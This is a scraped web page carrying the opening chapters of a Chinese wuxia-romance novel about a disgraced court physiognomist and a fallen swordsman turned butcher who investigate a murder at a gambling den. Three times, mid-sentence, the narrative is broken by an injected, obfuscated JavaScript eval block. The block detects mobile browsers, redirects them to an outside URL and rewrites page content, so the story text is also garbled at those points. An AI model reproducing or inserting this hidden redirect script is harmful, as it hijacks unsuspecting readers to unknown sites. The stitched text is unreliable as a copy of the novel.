《苦昼短:不再是天下第一后》 1. 从神坛跌落 序 对他们来说,比死更痛苦的,是没法掌握自己的命运。 ——从神坛跌落—— 俾睨众生又如何。 黄金善一贯是如此骄傲的。强者的傲慢就是傲骨。 哪怕意识已被拉扯着看那走马灯,她亦是如此。 这一生,就到这里结束了吗? 人终究还是没有办法改变这命运吗? 她如今算是知道死有多痛了。 身后的相府已经是火海。四周的大火向她袭来,浓烟堵住了鼻子,她张嘴大口地呼吸,灌入嘴的却只有灼热的火气。从口鼻到肺部都好似被人用刀割着,身体像切割好后就上炭烤的生肉。 眼前的画面很快,刚还在金碧辉煌的宫宴之上,她算出皇后娘娘已然怀孕,转眼就看到她穿着官服走上神坛。 她是明宸郡主、是相府嫡女、是天下第一相术师。陛下让她为百姓求雨。 她刚跪在垫上,双掌轻合,就有水滴落在她眼角。 一瞬间,她以为是自己的泪。 她闭着眼,听见身后百官惊叹、听见坛下百姓欢呼、听见雨滴落在面前祭坛上的声音、听见祭祀用的香被雨水打灭。 睁开眼,她仰头望着天。 百姓感恩上天的馈赠,她却觉得这是天神的震怒。 那时的雨天交映着当下的火海。也许是她的自负触怒了上天。 她总试图以常人之躯担上神之责、她总以为自己能救苍生于水火,上天便要让她知道自己到底几斤几两。 从那时起,她就知道自己难逃此劫。 这劫难来的真快啊。 明明还差一点点、就一点点,她就能握住那天机。 要就这样倒下吗? 她做不到。 她这一生,从未造过孽,如今便造一回吧。 她要亲手杀死自己。 用余下所有的生命去看那到还没来得及看的天机。 就算是将死之时,她的命怎么用,也必须握在她自己手里。 她这风光、华丽又腐朽的走马灯,也该结束了。 她要看看,没有她的世界会走向怎样的结局。 她感受鲜血从口鼻中流出,感受烈火爬上自己的身体,感受灵魂慢慢离开这具躯体。她看到了。她看见眼前的火光布满远山、看见鲜血如潮向自己涌来。 她看到那个少年。 他的红衣,已融入那血海火光之中,他手持金剑、泛着金光。 好奇怪,她看不清他的脸。 他是在哭吗?又或者其实是在笑? 她从未见过他,耳边却好似有人在唤着他的名字。 白玉春。 她要活下去,找到他。 * 兰青溪说的没错,自己确实懦弱又可笑。 晚风呼啸,在这破碎的山头。白玉堂已见不到一点白色。 屋檐掉落的碎木,拍起了地上流淌着的血。 白玉春跪倒在地,用断剑支撑着自己的半幅残躯。 这是最后一招了。 他周身遍布着刺骨的寒,风中呼啸着的是白玉堂众门人的冤魂,是敌人杀红了的眼,是命运对自己的嘲弄。 眼前的黑衣侠客是如今的天下第一,刀下的阴影是强者不容置疑的果决,黑色披风就这么融入夜色之中。 “你输了。” “我输了。” “你中了土中碧?” “我中了土中碧。” 他咳出一口血,血迹就如此留在他手中的半柄剑上。 无锋剑,他曾凭着这把未开锋的剑走遍天下,他立志不让此剑沾血。 如今,剑已折断,人也将亡。无锋剑只沾过他自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283087|182550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血,如此一生,倒也不算违心。 “你要杀了我吗?” “你不杀我,我不杀你。” 说罢,那人将大刀一挥。 白玉春身后传来一声惊呼,欲偷袭白玉春的蒙面壮汉便如此倒头在地。 他只用手在空中一握,那蒙面壮汉就被他掐住了颈脖。 “解土中碧,不难”黑衣侠客一把扯掉那壮汉蒙面的黑布,将壮汉扔到白玉春面前,“这人早在几年前就该死在你剑下了。杀了他,活下去。” 杀了他,活下去? 白玉春做不到。 他杀不了人。 纵然如今那些昔日从他剑下捡回一命的人,重返白玉堂,杀了他的义父义母、杀了白玉堂数百门人、杀了那些在白玉堂习武的孩子、杀了他的江湖傲骨。 白玉春还是做不到。 他杀不了人。 “剑硬心软,是剑客的大忌。” “是啊,”白玉春,用尽他余下的所有力气,用手支撑着地面,颤颤巍巍地站了起来。 他勉强立稳后,抬手扔开了那柄断剑,“那我便不做剑客了。” “这世上,再无白玉春。” 将死之时,他更确定,他不想违背自己的心。 他要活下去,慢慢洗清他的孽缘。 * 云高天阔,秋光如洗。风烟俱净,稻浪翻金。 相府一夜覆灭,白玉堂一朝尽毁,往事似是已被遗忘。 皇宫里,新来的相术师正学着明宸郡主黄金善留下的经书策论。 武林中,新出关的弟子在背着白玉堂堂主白玉春写的《江湖武律》。 武在律之下,术以人为先。 永绥吉劭,市井繁华,行人悠悠,这世道一片太平模样。 江湖之上,继黄金善与白玉春之后,再无传说。 2. 白天杀猪,晚上杀人 序 你相信一个成天杀猪的糙汉能拯救世界吗? 见到白玉春时,是黄金善此生第一次怀疑自己可能不是一个好的相术师。 ——白天杀猪,晚上杀人—— “上回说到,这天下第一剑客白玉春,习得百家功夫,18岁打败悟心和尚成为武侠传奇,19岁集百家之力建立白玉堂,以竹为笔雕出《江湖武律》,惩奸除恶、匡扶正义。 《江湖武律》道,武林之人,不得凭武力违律法,谋生不得以武欺人、比武不得嗜血杀人、门派不得寻仇斗殴,不论武力高低,共守太平盛世。 可那杀神嬴政血洗白玉堂后,这天下第一剑客便在武林中销声匿迹,不出几日天下第一相术师明宸郡主横空出世,两指一掐,皇后娘娘在宫宴上便有了喜,从此后,陛下便命其为天下观相,她日日为百姓祈福避灾,所到之处,皆是政通人和、岁丰年稔。 世人皆知这白玉春与明宸郡主,却不知他俩为一气同源,这神仙离了白玉春之身,便降临到明宸郡主身上……” “李伯伯,这是什么意思呀?” 瞥见那小孩震惊又困惑的颜色,老李满意地撇了撇嘴,“小孩,你有没有想过,江湖第一本就该只有一人,这天下第一剑客与天下第一相术师许是同一人呢?” “不是李老头,这俩人一男一女,一大一小,你就是编故事骗骗小孩也编不出这么离谱的吧?” “这江湖之上,本就异事奇多”老李眼睛半睁,摸了摸那本就不多的胡子,“你可知天山藏了个神秘宗派,其门人可化身为男女老少……” “都是什么乱七八糟的,小白,拿根排骨,喏,就这个,给我砍一半吧。” 白五手起刀落,“好嘞客官,一斤七两,您拿着。” 这老李的故事真是越编越离谱了,白五心想着,但是没办法,在他旁边摆摊这人流量可太好了。 果然呐,做人还是要会编。 察觉到有人站在摊前,白五加快了数钱的速度,“客官,要什么肉?” “要整猪,九十斤。”来者面容消瘦,眼窝深陷如枯井,指尖有着厚茧,双手垂在腰侧,抖个不停。 白五数钱的手慢了下来。来单子了。他算是又惊又喜,喜在这大单终于又能让他敲一笔,这个月总算是能吃点好的了,惊在,他半年有余没有听到整猪两字,他差点以为,自己这摊早就被人忘了。 “好嘞客官,您把地址和名字写这纸条上,晚点给您送过去。明天这个时间,来我摊上付钱。” 不多时,那买肉的人已经不见,纸条上只留下六个字。 翠玉楼,黄金善。 * 黄金善知道自己今天就能遇到那个人。 三年前,她父亲被参贪污了各州建贡院的银子,陛下震怒,给亲卫留了两句话后,黄相满门便死在了一场大火之下。没有圣旨,没有诏书,便没有是非对错,也谈不上沉冤得雪了。除了两位外嫁的姐姐,只有她为师傅所救而侥幸逃脱,之后便被扔到这翠玉楼。 那时的血海里,她用所有命数参了一道天机,唯见一片火海和一个人。那人周身泛着金光,一袭红衣,手持金剑,她从未见过他,但天机告诉她,那人是白玉春。 尽管她活下来了,参了天机的代价却非比寻常。她已时日无多,所有的爱恨情仇,都要排在这天机之后。 白玉春,她早知那人是谁,却不敢违背卜卦算出的相遇时间。 为了之后的大计顺顺利利的,她坚持他们的相遇必须得在一个吉时。 午后,阳气最盛,她决定上街头看看。 自己这三年在翠玉楼虽没什么人搭理,但到底还是清丽绝尘,黄金善脑子里的剧本是这样的,他见到她就对她一见钟情从此以后惟命是从马首是瞻,在她死前快速解决天机给她留下的那个破谜题,这样最好。 遗憾的是,这午间吉时快过了,她还没有在街上找到他。 不是吧,他不是天下第一吗,这周身的气质难道不应该让她远在一里之外就看到吗? “哟,这不是翠玉楼善姑娘吗,怎么一个人在街上呀,姑娘家家形单影只的,可不好~” 天杀的!大中午还能碰上醉鬼!黄金善讪讪一笑,“江兄~人家晚上要弹新曲子,正采风呢~” “善姑娘还能有新曲子?哈哈哈哈哈哈哈哈哈哈哈” 趁他笑得不能自已,黄金善赶紧溜了。 要放在三年前,谁敢这样嘲笑她,她天生就是相术师,从没有人敢让她学什么琴棋书画。 被卖进翠玉楼时,为了不卖身,她就学了两个时辰古琴,便从来只弹一首曲子。这首曲子弹得也就中规中矩,客人让她弹别的,她就弹得如雷贯耳,时间长了,自然没人乐意听她弹曲儿,也就少有人点她,她还算是乐得清闲。 吉时就要过了,她瞅见街头那个摊贩,看着老实便想着打听打听,“这位摊主,你知道这街上有哪位摊主姓白吗?” 摊主抬眼看她,手上没停地在切肉,“我就是,怎么了?” “噢噢,那还有其他白姓摊主吗?” “没了。”他没多话,招待起了旁边要买肉的客人。 不是吧。 黄金善就这么愣愣地站在他正前方看他,他生的高,长相很是周正,看着就是好人,但嘴边的胡渣长长短短,让人怀疑他买不起小刀,眼神有些犀利,哪怕正笑着对着客人,仍能感觉到那种肃杀之意,只是不知道是对人的还是对猪的。 这根本不是一个天下第一大侠的样子。 但他就是白玉春。黄金善从未看错过人。 * 拿剑指着黄金善的时候,白五还以为这是他们的初见。 “不是作画 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283088|182550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗,大哥为何拿着剑?”黄金善也没想到,今天翠玉楼请来作画的画师就是白玉春。比起买肉的屠夫,这个身份确实更适合隐居的大侠。 “因为我要杀你啊。”他话里带着戏谑,好像她这条小命不足为奇。 “大哥为何要杀我?”黄金善还是一副没所谓的样子,摆弄着她手里的古琴,琴弦松了又紧、紧了又松,就是不见她弹半个音。 “因为有人要买你这90斤的猪肉。”白五的剑仍然对着黄金善,他正思考着开口敲诈的时机。 “噢噢,大哥我没有90斤,你这算不算黑心商贩压秤啊?” 她没想到他压根不搭理这鬼话,话音未落便挥剑而来,情急之下,她拿古琴挡了一刀。 “不是,大哥,我不仅没有90斤,我也不是猪啊!” “少废话,拿命来!” 他作势又要砍,她只能拿着剩下半边琴挡着脸,“行了白大哥,我知道你不会杀我,你赶紧告诉我怎么才能活命吧!” “算你识相,把所有钱都交出来,滚吧,再也别回翡城。明天我会让所有人都以为你死了。” 白五第一眼看到黄金善那样子就有点恼,这么瘦瘦小小的,住在这翠玉楼最靠里的房里,他画了整整33张画像才终于轮到这个善姑娘,差点他都以为今晚得不了手了!而且这样子看着就没有人气,估计积蓄也很少,好在这楼里的姑娘有了出去的机会,必定逃得远远的,他能放心地敲那个买凶的人一笔。 “白公子,我没钱,而且我逃出去万一被抓回来怎么办?”黄金善对着白五眨眼,话说得可怜,眼里却都是狡黠的笑意。 “你忽悠谁呢!能在翠玉楼里装琴师,你还骗我你逃不出去?”白五气笑了,拿着剑又对她挥了两下,她真当所有人都不知道她是谁啊。 “你怎么知道我是装的?”黄金善收起了她那可怜的姿态,说得平淡。 “谁家琴师出了事先舍了琴啊,而且你这五指如此白嫩,半点茧都没有,怎么可能真练琴。” 还好,收拾得粗糙了一点,脑子还算灵光。黄金善心里松了口气。 “你怎么知道,我不是事先知道今晚你会来,反正过了今晚,这琴也就无用了。”黄金善站起身,紧紧盯着白玉春那双眼睛,慢慢向他靠近,双臂抱在胸前,一副长辈要抓晚辈的模样,“白天杀猪,晚上杀人,还要当画师,离了白玉堂,白大侠日子过得也不容易啊。” 她惊喜地捕捉到了他眼里的那一点点抗拒,语气从犹疑变得笃定,张口吐出那咒语般的三个字,“白玉春” 秋初晚风渐凉,微开的窗户被阵风吹得一响一响,刚刚被白五砍了一半的琴被吹倒在地,琴弦发出一声余音。屋内的红烛晃着,两人的相对的身影便随着风吹时大时小。 日月更迭,午夜未必不是良时。高人相对,此时怎就不是良夜呢。 3. 九九六的天下第一大侠 序 她从此只为那一道天机而活。 前尘阻拦,她便斩了这前尘,乾坤阻碍,她便破了这乾坤。 ——九九六的天下第一大侠—— 醒来已经日上中天了,昨天黄金善誓死不离开翠玉楼,逼得白五只能把她伪装成尸体抗回了自己城外的宅子。 她说自己的命值二百两,白五是不信的,他早就打听过,从翠玉楼赎她也就八十两,但是杀手嘛,总要有点煞气,叫价高一点准没错,更何况昨天从黄金善那可是一分都没捞到。 那人掏出二百两银票的时候,白五有点意外,因为他刚刚只叫价一百五十两。 “给你二百两,我看你昨天把尸体带走了,我还有一事,你从那善姑娘身上给我取点血来。” “这位客官,人都已经下葬了,这要取血,恐怕没那么容易啊。”白五左右望着,小声念叨。 “少废话,不想死就照做。”那人枯井般的眼窝中,眼珠子仿佛都要瞪了出来。 哟,这么凶,那他怎么不自己去杀。但总得防着他在这把事情闹大,白五只能先应下来。 没办法,毕竟隔壁李老头正在说着黄金善的故事。 “且说那翠玉楼消失的善姑娘,可是个奇人。点了她的客人,从没有人活过五天。可昨夜,她离奇消失……” 老李神色可怖,吓得站在前面的小孩连连尖叫,“她不会出楼杀人吧!” 旁边稍微大点的孩子赶忙安慰到“别怕别怕,也可能是被那位夜间行凶的屠夫杀了!” “哇!!!”那孩子哭的更大声了。 中了土中碧之毒后,白五的眼力日益下降,许是内力够强,又或是生活所需,他的耳力自然强了起来。白五的耳朵并不能忍受如此大声的尖叫,只得赶紧卖掉剩下的肉,早早收摊了。 * 白五住的屋子可谓极其简陋,主屋之外只有一小间柴房摆着灶台,门前一小块地里种着萝卜和青菜,不远处养着几只鸡。没有武林大侠喜欢的高山流水、也没有白面书生喜欢的绿林丝竹,小屋外目之所及都是成片成片的稻田。 “喏,你要的蜜饯。”白五数着今日赚的钱,随手买的蜜饯递给了黄金善。 “你这200两来得真轻松,我都有点羡慕你这营生了。”黄金善饿了一天,拿到蜜饯便啃了起来。 “打住,我得纠正一下你,你的命只值一百五十两,这剩下五十两,他要你的血。” “要我的血干嘛?”黄金善嘴里啃着蜜饯,说话有点含糊不清,“他要用我的血杀人啊。” “你的血还能杀人?”白五手上的动作没停,数完钱后,他脱下围裙,穿上黑色外衣,开始戴起了护甲。 “我中了烛龙之毒,我的血自然能杀一些普通人。”那片蜜饯她只啃了一小口,似是不好吃,她在袋里翻着其他的口味,“你这什么蜜饯啊,这么难吃,不是城西那一家的吧!” 烛龙之毒,他知道,和他所中的土中碧并称天下双毒,一个极阳,一个极阴,怪不得她这么瘦,恐是吃不了什么东西。 “你愣着干嘛,别人不知道,你还不知道我是谁吗,我中了烛龙之毒有什么好奇怪的。” 天下第一相术师黄金善,外人只知她是相府嫡女,唤她时都用皇帝给的郡主封号明宸,他自是打听过一些,才知道她的名讳,她18岁那年,相府灭门,这烛龙之毒应该也和此事有关。 18岁,他成为天下第一也是18岁。 不,是白玉春成为天下第一也是18岁。白玉春已经死了,他如今是白五。 “取点血就能换五十两,这么容易,你赶紧给我拿罐子来。” 她抬起手,轻薄的纱从袖子上垂了下来,露出手臂上深深浅浅的割痕。 递上罐子时,她已用小刀划了手臂,他还是没忍住问“疼吗?” 她白了他一眼,“不是大哥,你别在刚划好的时候问啊!本来不疼的,你一提我可不疼死了!” 他抱歉地撇开了眼,没看见她神色如常。她骗了他,在中了烛龙之毒后,她每每发作便要疼上数天,况且每次有客人试图要对她动手动脚时,她便会割手臂放血喂给那些人,双臂早已麻木失了痛感。 她将罐子递还给他,白五从袖里掏出百两银票,“这钱你拿着,在我家赖了一天,可以走了吧。” “你怎么过河拆桥啊!我可是刚给你取完血!”黄金善满脸震惊,这人怎么毫不怜香惜玉。 “你这血我还不知道卖不卖的出去呢!这可是一百两,够你出城找个客栈好好住着了,干嘛赖在我这破屋里啊!”白五说着便拉起黄金善往屋外赶。 “白大哥,我一个罪臣之女,上哪找客栈住啊?” 白五实在没空理会又在这装可怜的黄金善,“你不是天下第一相术师吗,这点小事都搞不定?” 她看他的眼神冷了下来,他不知为何总觉得身上有寒意。虽然武功尽失,但他的江湖直觉还在,这位小姑娘虽然没在他面前露过招,但他能感觉到,这天下第一相术师,不简单。 但他怕的正是这种不简单,相术师,他也是打过交道的,他能料到,若不是自己身上有什么她所求的东西,她不会这样赖着自己。他不知道她所求为何,但他知道,白五已不想再涉足江湖。现如今,还是先早早和这位善姑娘了断为好。 黄金善甩开白五的手,有些不忿,“着急赶我走,你在怕什么?” 说罢,她用手猛地一拍桌子,他从城南便宜货市场淘的木桌震了三震,她拍桌的手臂上刀痕未愈,渗出点点血丝,他买来的那些蜜饯不知何时被她啃成了铜钱模样,在空中一翻,又轻巧地躺在木桌上。 “那个要买凶杀我的人,是吴展吧。比你略矮,干瘦,三角眼眼窝深,头后梳个长辫子。噢,还是个赌徒。” 他不说话,她便知是默认了。 “估计和前段时间死我房里那人有关,我记得是叫云飞。” 黄金善突如其来的炫技没能打动他,眼见天色渐暗,他还赶着出门赚钱,“噢噢,好的好的,那你先拿着钱吧,我晚上还有活,你自己小心。” 白五这反应让黄金善猝不及防,“你今晚又要出去杀人?业务这么繁忙,你这两头骗能赚不少钱吧。” “买凶的单子哪有这么多,今晚是出去当护院。”出去杀人这话总让白五感觉有点不适,毕竟干这行这么久,他手上可从没沾过血。 “不管你今晚是出去干什么,如果不带着我,你今晚必死无疑。” 她又盯着他看,眼神里的那种坚定让他为之一颤,不知为何他有点害怕她的眼神,他分不清这话几分真几分假,他已是掰着手指头过日子,但他现在还不能死。 于是他带着她出门了。 现在他真是感觉比死还难受。 “怎么这么远啊,大哥,你没个车或者马吗?”没想到白玉春带自己出门当护院,直接就猛走五里路,她真是有点受不了这武林中人了。 昨天不是刚赚二百两吗,这么抠。 白五也是没想到这姑娘瘦弱得惊人,走两步就喘成这样,还一直在自己耳边叨叨,眼瞅着晚上的活都要迟到了,他可不想被扣银子。 “钱得省着花,你要是受不了就拿着一百两银子走人吧。” 黄金善不说话了。 她在想,这白玉春,白天杀猪买肉,晚上还要“杀人”赚钱,没单子也不闲着,还要出来当护院,昨天楼里妈妈介绍白画师的时候很是熟络,画师估计也是他稳定的职业。一个人打这么多份工,别的且不说,就说这买凶杀人,买主多半出手阔绰,更何况他不是真杀人,还可以从“被杀”的人那敲一笔再助其逃跑,这一来一回少说百两银子,够普通人家生活好几年了,可他半点不见富足的样子,住着个破茅屋,刚刚的晚饭也就是路边两个馒头。 钱都去哪了呢? 终于算是走到了,这地方瞅着是个地下赌场。 门口的武夫一看见白五便热络的打招呼,“哟,白老弟,又来九九六了?” “何谓九九六?”黄金善问道。 “九个时辰卖猪、九个时辰打工,一周六个职业。”白五把刚刚的馒头塞进嘴里,对着门口的武夫介绍着,“刘哥,何店主是不是要咱集合了,这是我家中小妹,身子不好,能否带她在后院休息会。” “不是我说老弟,你带这么漂亮的妹妹来这儿,你也真是心大。” 黄金善还在盘算着白玉春几个活计的收入,心不在焉地走到了后院。 她在后院捡了些树枝,正摆着,却瞧见墙后好似有个狗洞。 把机关伪装成狗洞,她心想,这赌场不简单啊。 但那狗洞她准备待会再去看,当务之急是给白玉春先卜一卦,白玉春没有像她想的那样看上自己,她得想个法子先缠上他。 三年前她抱着必死的决心参了天机,之后又侥幸被师傅所救,天机给的信息很是含糊,但她知道,若不找到白玉春、在他身上参破这天机,天下恐有大劫。 这三年来,她用尽所有法子了解这位曾经的天下第一剑客。生辰喜好身世经历,只要是江湖上有所流传的,她几乎无所不知。但她无法卜到关于他的任何事,除了他们相遇的时间。 如今可算是相遇了,先看看后面该怎么做吧。 她摆好了阵,夜风袭来,枯树枝微颤,慢慢立了起来,她正准备睁眼解读这旨意时,前院传来刺耳的尖叫,“死人啦——” 她回头看去,又闻身后还有动静,转过身,那狗洞后的机关已开,走出一个人,她虽没见过,却也知那正是自己前面卜到的——买凶杀自己的人——吴展。 眼前这人断是留不得的,吴展二话不说就拿刀向黄金善砍去。 但黄金善连脚都懒得抬。 她知道自己必然是死不了,她经历过预知到自己将死的那种感觉,那种心颤和全身发冷她永生难忘,现如今,不过是不在命运主线里的一点小插曲罢了。 刀还未靠近自己颈侧,一枚碎石子便砸中吴展的脚,吴展向后一倒,先前门口那位刘大哥及时赶来,拿剑便要向他刺去。 “先别杀他!”黄金善赶忙制止。 “姑娘,你不知道,刚刚前院,店主中毒而亡,我看这吴展鬼鬼祟祟的,恐怕就是他干的!”刘大哥的刀贴着吴展。 “不是我、真不是我”吴展已经吓呆了。 “到底怎么回事?”黄金善回过头,白五果然就站在她身后的屋檐上,刚弹出了石头,如今正负手站在屋檐上看戏。 “不知道啊,前头让我追杀人凶手,我听到这有动静,就追这来了。” 其实追出来的只有他和刘大哥两人,听到黄金善这里有动静,他总是有点心慌的。 “刘大哥,你用绳子把这人捆好,我看他是从前面那个机关里出来的,我们要不先进去看看。”黄金善手指了指那个狗洞,众人于是便往那边走去。 狗洞很狭窄,似乎只是个通道,并没有别的玄机。 白五摸了摸通道两侧的土,还有些粘稠,看来这通道是最近才挖的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283089|182550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 通道很短,不一会他们便看见个顶上有个小门,打开后,发现是前院某个杂物间的地板,这小入口夹在屏风和柜子中间,甚是隐蔽。 他们前后脚走了出来,屏风外就传来开门的声音,三人默契地屏住了呼吸。 “让那吴展给跑了。” “无碍,那善姑娘的血你拿到了吗?” “拿到了,在店主身上搜出来的。” “那就好,反正那老头已死,有这个就能嫁祸给吴展了,这死赌鬼欠了这么多钱,这是他应得的。” 声音来自一男一女,他们说完便自顾自地亲上了。 黄金善真的快要憋不住气了,脸涨得通红,白五看见后,伸手往外面一弹,窗户发出了滋呀的声响。那两人立刻跑出了房间。 呼——三人长长地喘了一口气。 “是何店主的小妾和店里的管事。”刘大哥说。 何店主,黄金善想着,原是翡城何家,这何家是翡城乃至大周国南方的一大富商,道上皆知,何家专做些见不得人的生意,眼前这赌场是一部分,走私、制毒、甚至豢养杀手也在这何家的版图之内。 小妾和管事,这组合倒是不奇怪,她好奇的是这两人如何知道自己血的事。 “你把我的血给吴展了?” “刚刚在前院碰到他,他给了我五十两银子,我就把血给他了。” “你卖我的血倒是挺自然。” 他俩说着,完全没注意旁边刘大哥震惊的眼神。 “你……你是那个……翠玉楼那个杀人的琴师黄金善……”刘大哥提刀的手都在抖,七尺大汉竟还如此慌张。 “什么杀人的琴师,刘大哥你误会了。”黄金善小心地抬脚向屏风外走去,“我只是给那些对我动手动脚的人喂了血,让他们陷入幻觉短暂昏迷。” “我的血可有辨人的本事,”黄金善似笑非笑地看着那刘大哥,“喝了我的血以后,若是心生歹念,就会暴毙而亡!” 白五就眼看着黄金善把刘大哥吓得一愣一愣的,相术师果真是三分靠骗么,跟那街头的李老头真是有的一拼。 “行了别在这胡诌了,说说吧,你和那吴展是怎么回事,还有那个什么,云飞,又是谁?”白五说着,将这小门推开个缝,外面侍女护院来来往往,看着是乱作一团。 云飞,是个好人,年龄差不多是黄金善叔叔辈的了,方脸宽鼻,面露憨厚。他是为数不多能多次活着从黄金善房里走出来的人,去找她的人本就不多,云飞去年开始找上她,之后每月都会来数次,来找她,云飞也就是喝喝茶聊聊天,甚至都不要她弹琴,待几个时辰就走,给的银子却是丰厚,黄金善当然知道他意不在她,但也总会客气应付一下。直到两月前有一次,碰上天气热,烛龙喜燥热,云飞来找她时她正巧烛龙之毒发作,痛的不能自己,全然不顾客人坐在旁边喝茶,她直接在榻上昏睡了过去。 自那之后,黄金善便连应付都懒得应付了,云飞也从没问过那天是怎么回事,云飞来找她,他俩就是默契地各自干各自的事,话都不多一句,黄金善最多偶尔为他添添茶。 两周前,云飞来找她,又碰上大热天,这太阳晃人眼,黄金善是又晕又痛,想着反正云飞也习惯了,最近卜的卦也没什么异常,她直接放下帘子在床上睡了。傍晚天色渐暗,毒也缓了,她正奇怪这云飞怎么还没走时,走到桌边一看,云飞已然死在桌边,胸口插着一把长剑。 楼里吴妈妈看了云飞这死状,只唤人把尸体处理了,她当然知道人不是黄金善杀的,这姑娘虽是个怪人,但楼里必不可能有这种长剑,房里窗户半开,来来往往客人众多,谁都有可能进来杀了云飞,楼里死人也不是稀罕事,善姑娘又有杀人琴师名声在外,要是没人问,这事就悄悄揭过了。 更何况这善姑娘背后有人,自是不怕的,别人不知道,她翠玉楼吴妈妈可是清楚得很。 吴展此人呢,黄金善此前是没见过的,但是出门前那一卦,她便知道吴展是云飞的妹夫。云飞之前似乎也和自己提及过,他妹妹死后,他便和妹夫情同亲兄弟,两人一起练武,都是镖局里的镖师,先前因为一趟镖有点问题,吴展在牢里蹲过几载。卦里还能看出吴展似是和翠玉楼里还有点亲缘,不过黄金善对这卦还没什么头绪。 黄金善在这头说着,白五一边盯着窗外一边听,也不知听进去多少。 “你不害怕吗?”他突然问。 黄金善盘点案情的思绪突然被打断,“什么?” “我说,你看到一个胸前插着一把剑的尸体,不害怕吗?” “又不是我杀的,我怕什么。” 18岁之前,她是很害怕死人的。 众人奉她为救世的神女。 她不愿见任何一条生命离开。 她突然想起师傅曾说过,相术师不可太过慈悲。 有些死亡已是命数。 改命,谈何容易。 三年时间,她已从那高贵大方的京城第一贵女明宸郡主变成如今这般市侩的模样。 但是黄金善,重新捡回那条命时,她便决定了。 从此只为那一道天机而活。 前尘阻拦,她便斩了这前尘,乾坤阻碍,她便破了这乾坤。 白五正推门往外走,将黄金善的思绪拉了回来。 “你要去哪,去看看尸体吗?” 白五回头,盯着发问的黄金善看了两秒。 “为什么要看尸体,当然是趁着没人赶紧逃跑啊!” “啊?” 4. 相术师要会两件事:编和骗 序 改名白五,因为他亏欠了五位义父义母,并决心要养好五个孩子。 也因为,第二个春天,是第五个季节。 他想放下白玉春。 人这一生,越早登上巅峰,便也越早往下坠。 ——相术师要会两件事:编和骗—— “刘大哥,我们先走了,这店主死了估计也没人结例银了,劝你早点撤吧。”白五没给黄金善说话的份,拽着她的手就跳上了屋顶。 白五三下五除二就拽着她跳过层层屋脊,落到了院外。 黄金善从来没有这样快地“飞”过,落到地上时感觉天旋地转。 “你这天下第一挺有实力的啊,怎么遇到事就跑啊。”黄金善一边喘一边说着。 “我现在只剩这点轻功了,可拦不住你在前院闯祸,这种地下赌场乱得很,你这种手无缚鸡之力的小姑娘,劝你还是少掺和。” 黄金善仿佛中气又回来了,质问白五,“我怎么就会闯祸了?” “你说呢?翠玉楼黄金善可是昨天就死了,你要是被发现还活着,我的二百两怎么办?”说着,白五还检查了一下自己藏在衣内的银票。 白五这话说得有些急,刚刚逃出来的时候还抱了个人,现在是一用内力就浑身筋骨酸疼。 他当然不能在院内久留,现在何店主死了,他找《凌云九式》的线索又断了,他确实需要再探探,但是不能带着黄金善。这姑娘绝对不简单,轻重缓急他是分的清的,如今赶走这天下第一相术师才是头等要事。 可惜他抬眼的时候又看见黄金善正盯着他,好像已经完全看出了他刚刚的想法。他咳了两下,“你要我带你出来,我也带了,现在你可以走了。” “天还没亮呢,我都说了,今晚你不带着我就会死。”黄金善又是这么笃定。 还真能编啊,白五看她到处张望,实在是不想和这个小姑娘继续耗了,“你到底什么意思?” 黄金善不喜欢他这语气,要不是因为天机留了他的名字,她才不可能跟着这个没用的天下第一,三十六计都只记得最后一计了。脾气上来了,她便没和白五说话,白五走到哪,她就跟到哪。 这三年她大部分时间待在翠玉楼里,说实话好多阵式都没操练过了。刚刚起卦只看了一根树枝就被打断了,但是一根也够了,至少她知道白五在找某样东西,说明他活着还是有所求的。 “白玉春,你为什么要改名白五啊?”她漫不经心地试探。 “和你有什么关系。”他气势汹汹地回到,试图把思绪再接回来。 白五刚刚在想,那管事说,黄金善的血是从何店主身上找到的,罐子看着还没有被开过,吴展既然还没死,那就是他把血给了何店主,看来真正要买凶杀黄金善的正是何店主。他要这血倒不奇怪,何店主私下藏了不少江湖上的小玩意,他是这翡城最大的赌场之主,知道的秘密不会少,知道黄金善的血有问题并不复杂,可惜何店主死了,没法从他身上打探自己要找的《凌云九式》。现在还有个问题就是云飞,此人与吴展关系最近,好在吴展还活着,得找时间好好盘问。 黄金善被白五莫名其妙呛了一下,倒也不恼。白五今晚便有大劫,自己的话可不是乱说的,真是天助她也,今晚就可以在白五面前露一手。 她观察他们正在走的这条小路,这是去往何家赌场的必经之路,竹林中铺着小石砖,小路看着笔直,但这石头和竹子的间距却有玄机,不是什么复杂的机关,估计是吸人运势的小把戏,必要的时候能做一些忽悠人的事儿,赌场最喜欢搞这些。 